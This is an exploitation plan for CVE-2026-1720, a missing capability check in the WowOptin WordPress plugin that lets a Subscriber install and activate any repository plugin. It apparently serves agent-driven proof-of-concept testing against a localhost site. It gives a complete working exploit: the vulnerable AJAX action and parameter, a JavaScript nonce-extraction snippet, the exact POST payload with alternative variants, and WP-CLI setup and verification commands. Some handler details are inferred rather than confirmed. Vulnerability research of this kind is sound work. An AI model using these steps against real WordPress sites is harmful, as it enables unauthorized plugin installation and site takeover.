Exploitation Research Plan: CVE-2026-1720

1. Vulnerability Summary

The WowOptin plugin for WordPress (versions <= 1.4.24) is vulnerable to unauthorized arbitrary plugin installation and activation. While the plugin correctly implements a capability check for its primary plugin installation AJAX handler (optn_install_plugin), it registers a secondary AJAX handler (optn_install) in the Notice class that lacks a proper capability check. This allows any authenticated user, including those with Subscriber-level access, to install and activate any plugin available on the WordPress.org repository.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: optn_install (registered via wp_ajax_optn_install in includes/utils/class-notice.php)
• Method: POST
• Authentication: Authenticated (Subscriber-level or higher)
• Vulnerable Parameter: plugin (the slug of the plugin to be installed)
• Preconditions: The attacker must be logged in and obtain a valid WordPress nonce (likely optin-nonce or a generic dashboard nonce).

3. Code Flow

1. Entry Point: The Notice class constructor (in includes/utils/class-notice.php) registers an AJAX action for logged-in users:

   add_action( 'wp_ajax_optn_install', array( $this, 'install_activate_plugin' ) );
   

2. Vulnerable Sink: The callback install_activate_plugin (missing from the provided source but inferred from the vulnerability report and the parallel install_plugin_callback in WpxpoPlugins) fails to verify if the user has the manage_options or install_plugins capability.
3. Execution: The callback takes the plugin parameter from $_POST and passes it to the utility function:

   Xpo::install_and_active_plugin( $plugin );
   

4. Result: WordPress downloads, installs, and activates the plugin specified by the slug.

4. Nonce Acquisition Strategy

The plugin registers nonces for its admin interface. Even if the promotional "install" notices are not currently visible (due to the date logic in optn_dashboard_banner_notice), the nonces are often localized for the admin scripts.

Steps to obtain the nonce:

1. Create a Subscriber User: Use WP-CLI to create a test subscriber.
2. Access the Admin Dashboard: Navigate to /wp-admin/index.php as the subscriber.
3. Inspect Localized Data: The plugin uses React for its dashboard. Search the page source for localized script data.
   • Variable Name: Likely optin_obj, wowoptin_data, or wpxpo_optin_vars.
   • Nonce Key: nonce or optin_nonce.
4. Alternative - Manual Extraction:
   Use browser_eval to check for the nonce in the global window object:

   // Common patterns for this plugin author
   window.optin_obj?.nonce || window.optin_vars?.nonce || document.querySelector('input[name="optn_db_nonce"]')?.value
   

5. Exploitation Strategy

The exploit will be delivered via a single authenticated AJAX request.

1. Login: Authenticate as a Subscriber user.
2. Identify Nonce: Navigate to /wp-admin/ and extract the optin-nonce (used by WpxpoPlugins) or the nonce used by Notice.
3. Trigger Installation: Send a POST request to admin-ajax.php.

Payload Request (using http_request):

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=optn_install&plugin=hello-dolly&_wpnonce=[EXTRACTED_NONCE]
  

  (Note: If _wpnonce fails, try nonce or wpnonce based on the field name found during extraction.)

6. Test Data Setup

1. Target Plugin: hello-dolly (a harmless, ubiquitous plugin).
2. User Creation:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

3. Verify Clean State:

   wp plugin is-installed hello-dolly || echo "Ready"
   

7. Expected Results

• HTTP Response: Status 200 with a JSON body: {"success":true,"data":{"message":"..."}} or similar.
• Side Effect: The hello-dolly plugin should be present in the wp-content/plugins/ directory and listed as "Active" in WordPress.

8. Verification Steps

After performing the HTTP request, verify the success via WP-CLI:

# Check if the plugin is installed and active
wp plugin is-installed hello-dolly
wp plugin status hello-dolly

9. Alternative Approaches

If the optn_install action requires specific notice-related parameters, the request may need to look like this:

action=optn_install&plugin=hello-dolly&type=install_notice&_wpnonce=[NONCE]

If the optin-nonce is strictly bound to the WpxpoPlugins class (action optin-nonce), look for the optn-dashboard-nonce generated in class-notice.php:

$optn_db_nonce = wp_create_nonce( 'optn-dashboard-nonce' );

This nonce is specifically generated within the Notice class and is the most likely candidate for the optn_install handler.